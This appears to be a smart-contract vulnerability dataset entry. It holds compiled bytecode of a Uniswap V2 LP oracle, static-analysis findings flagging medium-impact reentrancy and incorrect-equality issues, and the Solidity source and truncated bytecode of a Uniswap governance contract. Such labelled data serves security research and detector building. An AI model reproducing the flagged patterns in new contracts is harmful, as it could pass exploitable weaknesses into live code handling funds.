fffffffffffffffffffffffff1614915091509091565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461191f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b6000821415611a115780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a5d565b6001821415611a5c5780600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b7f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a78282604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611b80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611c7c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60016000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a6060405160405180910390a250565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611de6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b60405160405180910390a250565b600560149054906101000a900463ffffffff1681565b6000611ec2600560149054906101000a900463ffffffff1663ffffffff16600460149054906101000a900463ffffffff1663ffffffff16612877565b421015905090565b600460149054906101000a900463ffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611f94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60006001819055507f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b60405160405180910390a1565b60006020528060005260406000206000915090505481565b7f000000000000000000000000000000000000000000000000000000000000001281565b7f000000000000000000000000000000000000000000000000000000000000000681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612104576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561225c57600080fd5b505af1158015612270573d6000803e3d6000fd5b505050506000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156122e157600080fd5b505afa1580156122f5573d6000803e3d6000fd5b505050506040513d606081101561230b57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050509250925092506000836dffffffffffffffffffffffffffff1611801561236657506000826dffffffffffffffffffffffffffff16115b6123d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f696e76616c69642d7265736572766573000081525060200191505060405180910390fd5b809350428463ffffffff16146123ed57600080fd5b601260ff167f000000000000000000000000000000000000000000000000000000000000001260ff16146124615761244960127f000000000000000000000000000000000000000000000000000000000000001260ff166128fa565b600a0a836dffffffffffffffffffffffffffff160292505b601260ff167f000000000000000000000000000000000000000000000000000000000000000660ff16146124d5576124bd60127f000000000000000000000000000000000000000000000000000000000000000660ff166128fa565b600a0a826dffffffffffffffffffffffffffff160291505b6000612501846dffffffffffffffffffffffffffff16846dffffffffffffffffffffffffffff1661297d565b90506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561256d57600080fd5b505afa158015612581573d6000803e3d6000fd5b505050506040513d602081101561259757600080fd5b810190808051906020019092919050505090506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561261457600080fd5b505afa158015612628573d6000803e3d6000fd5b505050506040513d602081101561263e57600080fd5b8101908080519060200190929190505050905060008214156126ab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b126024913960400191505060405180910390fd5b6000811415612705576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b5c6024913960400191505060405180910390fd5b600061272261271d856127188587612a12565b612a4a565b612a8a565b90506000670de0b6b3a76400006127398684612a12565b8161274057fe5b0490506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156127ad57600080fd5b505afa1580156127c1573d6000803e3d6000fd5b505050506040513d60208110156127d757600080fd5b8101908080519060200190929190505050905060008111612843576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612aed6025913960400191505060405180910390fd5b6128686128626128538588612a4a565b61285d8588612a4a565b612877565b82612a12565b9a505050505050505050509091565b60008282840191508110156128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284039150811115612977576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b60008082148061299a575082828385029250828161299757fe5b04145b612a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b600081612a3a612a2a85670de0b6b3a764000061297d565b60028581612a3457fe5b04612877565b81612a4157fe5b04905092915050565b6000670de0b6b3a7640000612a7a612a62858561297d565b6002670de0b6b3a764000081612a7457fe5b04612877565b81612a8157fe5b04905092915050565b60006003821115612ad9578190506000600160028481612aa657fe5b040190505b81811015612ad357809150600281828581612ac257fe5b040181612acb57fe5b049050612aab565b50612ae7565b60008214612ae657600190505b5b91905056fe554e4956324c504f7261636c652f696e76616c69642d6c702d746f6b656e2d737570706c79554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a2646970667358221220e599d708073da5d75f40a1cf8a338fb7b59c9d8f808932a3645acb9baf2d766264736f6c634300060b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,978 |
0xeca491e162d157760f167c4dd92b45ae6e5cf0f1 | pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Uniswap Governor Alpha v2";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 30_000_000e18; } // 3% of Uni
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 3_000_000e18; } // 0.3% of Uni
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 40_320; } // ~7 days in blocks (assuming 15s blocks)
/// @notice The address of the Uniswap Protocol Timelock
TimelockInterface public constant timelock = TimelockInterface(0x1a9C8182C09F50C8318d769245beA52c32BE35BC);
/// @notice The address of the Uniswap governance token
UniInterface public constant uni = UniInterface(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(uni.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(uni.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function __acceptAdmin() public {
timelock.acceptAdmin();
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = uni.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface UniInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
} | 0x6080604052600436106101805760003560e01c80634634c61f116100d6578063da95691a1161007f578063e23a9a5211610059578063e23a9a52146103f0578063edc9af951461041d578063fe0d94c11461043257610180565b8063da95691a1461039b578063ddf0b009146103bb578063deaaa7cc146103db57610180565b8063b9a61961116100b0578063b9a619611461034f578063d33219b414610364578063da35c6641461038657610180565b80634634c61f146103055780637bdbe4d014610325578063b58131b01461033a57610180565b806320606b70116101385780633932abb1116101125780633932abb1146102a35780633e4f49e6146102b857806340e58ee5146102e557610180565b806320606b701461024957806324bc1a641461025e578063328dd9821461027357610180565b806306fdde031161016957806306fdde03146101e557806315373e3d1461020757806317977c611461022957610180565b8063013cf08b1461018557806302a251a3146101c3575b600080fd5b34801561019157600080fd5b506101a56101a0366004612669565b610445565b6040516101ba999897969594939291906136bc565b60405180910390f35b3480156101cf57600080fd5b506101d86104ac565b6040516101ba9190613429565b3480156101f157600080fd5b506101fa6104b3565b6040516101ba91906134e5565b34801561021357600080fd5b506102276102223660046126c1565b6104ec565b005b34801561023557600080fd5b506101d86102443660046124e6565b6104fb565b34801561025557600080fd5b506101d861050d565b34801561026a57600080fd5b506101d8610524565b34801561027f57600080fd5b5061029361028e366004612669565b610533565b6040516101ba94939291906133dc565b3480156102af57600080fd5b506101d861080b565b3480156102c457600080fd5b506102d86102d3366004612669565b610810565b6040516101ba91906134d7565b3480156102f157600080fd5b50610227610300366004612669565b6109cb565b34801561031157600080fd5b506102276103203660046126f1565b610cb7565b34801561033157600080fd5b506101d8610e99565b34801561034657600080fd5b506101d8610e9e565b34801561035b57600080fd5b50610227610ead565b34801561037057600080fd5b50610379610f23565b6040516101ba91906134c9565b34801561039257600080fd5b506101d8610f3b565b3480156103a757600080fd5b506101d86103b636600461250c565b610f41565b3480156103c757600080fd5b506102276103d6366004612669565b61144a565b3480156103e757600080fd5b506101d8611739565b3480156103fc57600080fd5b5061041061040b366004612687565b611745565b6040516101ba9190613606565b34801561042957600080fd5b506103796117c6565b610227610440366004612669565b6117de565b60016020819052600091825260409091208054918101546002820154600783015460088401546009850154600a860154600b9096015473ffffffffffffffffffffffffffffffffffffffff9095169593949293919290919060ff8082169161010090041689565b619d805b90565b6040518060400160405280601981526020017f556e697377617020476f7665726e6f7220416c7068612076320000000000000081525081565b6104f7338383611a1e565b5050565b60026020526000908152604090205481565b604051610519906132cd565b604051809103902081565b6a18d0bf423c03d8de00000090565b606080606080600060016000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156105c257602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610597575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561061457602002820191906000526020600020905b815481526020019060010190808311610600575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156107055760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156106f15780601f106106c6576101008083540402835291602001916106f1565b820191906000526020600020905b8154815290600101906020018083116106d457829003601f168201915b50505050508152602001906001019061063c565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107f55760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156107e15780601f106107b6576101008083540402835291602001916107e1565b820191906000526020600020905b8154815290600101906020018083116107c457829003601f168201915b50505050508152602001906001019061072c565b5050505090509450945094509450509193509193565b600190565b600081600054101580156108245750600082115b610863576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613516565b60405180910390fd5b6000828152600160205260409020600b81015460ff16156108885760029150506109c6565b8060070154431161089d5760009150506109c6565b806008015443116108b25760019150506109c6565b80600a015481600901541115806108d357506108cc610524565b8160090154105b156108e25760039150506109c6565b60028101546108f55760049150506109c6565b600b810154610100900460ff16156109115760079150506109c6565b6109b08160020154731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b15801561097357600080fd5b505afa158015610987573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506109ab9190810190612616565b611ca6565b42106109c05760069150506109c6565b60059150505b919050565b60006109d682610810565b905060078160078111156109e657fe5b1415610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135d6565b6000828152600160205260409020610a34610e9e565b600180830154731f9840a85d5af5bf1d1762f925bdaddc4201f9849163782d6fe19173ffffffffffffffffffffffffffffffffffffffff1690610a78904390611cec565b6040518363ffffffff1660e01b8152600401610a959291906132fe565b60206040518083038186803b158015610aad57600080fd5b505afa158015610ac1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610ae59190810190612759565b6bffffffffffffffffffffffff1610610b2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613576565b600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b6003820154811015610c7a57731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff1663591fcdfe836003018381548110610ba557fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff9092169185908110610bda57fe5b9060005260206000200154856005018581548110610bf457fe5b90600052602060002001866006018681548110610c0d57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c3c95949392919061339b565b600060405180830381600087803b158015610c5657600080fd5b505af1158015610c6a573d6000803e3d6000fd5b505060019092019150610b5a9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610caa9190613429565b60405180910390a1505050565b6000604051610cc5906132cd565b60408051918290038220828201909152601982527f556e697377617020476f7665726e6f7220416c706861207632000000000000006020909201919091527fbd8b3ee387aacc636c6dc7e370815d0ce188b7f08014ab9d9059c2c60048c4e6610d2c611d2e565b30604051602001610d409493929190613437565b6040516020818303038152906040528051906020012090506000604051610d66906132d8565b604051908190038120610d7f918990899060200161346c565b60405160208183030381529060405280519060200120905060008282604051602001610dac92919061329c565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610de99493929190613494565b6020604051602081039080840390855afa158015610e0b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610e83576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135b6565b610e8e818a8a611a1e565b505050505050505050565b600a90565b6a027b46536c66c8e300000090565b731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610f0957600080fd5b505af1158015610f1d573d6000803e3d6000fd5b50505050565b731a9c8182c09f50c8318d769245bea52c32be35bc81565b60005481565b6000610f4b610e9e565b731f9840a85d5af5bf1d1762f925bdaddc4201f98463782d6fe133610f71436001611cec565b6040518363ffffffff1660e01b8152600401610f8e9291906132e3565b60206040518083038186803b158015610fa657600080fd5b505afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610fde9190810190612759565b6bffffffffffffffffffffffff1611611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135a6565b84518651148015611035575083518651145b8015611042575082518651145b611078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613566565b85516110b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613596565b6110b8610e99565b865111156110f2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613546565b3360009081526002602052604090205480156111a357600061111382610810565b9050600181600781111561112357fe5b141561115b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906135c6565b600081600781111561116957fe5b14156111a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613536565b505b60006111b1436109ab61080b565b905060006111c1826109ab6104ac565b60008054600101905590506111d4611ee6565b604051806101a0016040528060005481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060016000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030190805190602001906112de929190611f68565b50608082015180516112fa916004840191602090910190611ff2565b5060a08201518051611316916005840191602090910190612039565b5060c08201518051611332916006840191602090910190612092565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160026000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161143299989796959493929190613614565b60405180910390a15193505050505b95945050505050565b600461145582610810565b600781111561146057fe5b14611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a906134f6565b6000600160008381526020019081526020016000209050600061150e42731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561097357600080fd5b905060005b60038301548110156116ff576116f783600301828154811061153157fe5b60009182526020909120015460048501805473ffffffffffffffffffffffffffffffffffffffff909216918490811061156657fe5b906000526020600020015485600501848154811061158057fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61010060018716150201909416939093049283018590048502810185019091528181529283018282801561162c5780601f106116015761010080835404028352916020019161162c565b820191906000526020600020905b81548152906001019060200180831161160f57829003601f168201915b505050505086600601858154811061164057fe5b600091825260209182902001805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156116ec5780601f106116c1576101008083540402835291602001916116ec565b820191906000526020600020905b8154815290600101906020018083116116cf57829003601f168201915b505050505086611d32565b600101611513565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610caa9085908490613742565b604051610519906132d8565b61174d6120eb565b50600082815260016020908152604080832073ffffffffffffffffffffffffffffffffffffffff85168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046bffffffffffffffffffffffff16918101919091525b92915050565b731f9840a85d5af5bf1d1762f925bdaddc4201f98481565b60056117e982610810565b60078111156117f457fe5b1461182b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085a90613506565b6000818152600160205260408120600b810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16610100179055905b60038201548110156119e257731a9c8182c09f50c8318d769245bea52c32be35bc73ffffffffffffffffffffffffffffffffffffffff16630825f38f8360040183815481106118b457fe5b90600052602060002001548460030184815481106118ce57fe5b60009182526020909120015460048601805473ffffffffffffffffffffffffffffffffffffffff909216918690811061190357fe5b906000526020600020015486600501868154811061191d57fe5b9060005260206000200187600601878154811061193657fe5b9060005260206000200188600201546040518763ffffffff1660e01b815260040161196595949392919061339b565b60006040518083038185888